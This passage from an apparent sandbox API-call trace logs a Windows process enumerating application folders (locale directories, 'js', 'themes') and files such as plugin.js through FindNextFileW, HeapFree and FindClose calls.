ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0270.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.388] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0270.388] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0270.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0270.389] FindNextFileW (in: hFindFile=0x64a3d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee920b4a, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee920b4a, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee920b4a, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="themes", cAlternateFileName="")) returned 0 [0270.389] FindClose (in: hFindFile=0x64a3d8 | out: hFindFile=0x64a3d8) returned 1 [0270.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.389] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0270.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.389] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0270.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.389] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0270.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.390] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0270.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.390] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0270.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.390] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0270.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.390] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0270.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.390] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0270.390] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.390] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0270.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.391] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0270.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.391] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0270.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.391] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0270.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.391] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0270.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.391] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0270.391] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.391] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0270.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.392] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0270.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.392] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0270.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.392] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0270.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.392] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0270.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.392] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0270.392] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0270.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0270.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0270.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0270.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0270.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0270.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.393] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0270.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.394] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0270.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.394] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0270.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.394] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0270.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.394] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0270.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.394] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0270.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.394] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee96a1f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee96a1f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee96a1f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0270.395] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.395] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0270.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0270.399] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee943fc4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee943fc4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0270.399] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0270.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0270.399] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee990454, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee990454, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee990454, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6b57, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0270.399] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0270.399] FindNextFileW (in: hFindFile=0x64a1d8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee943fc4, ftCreationTime.dwHighDateTime=0x1d39f5d, 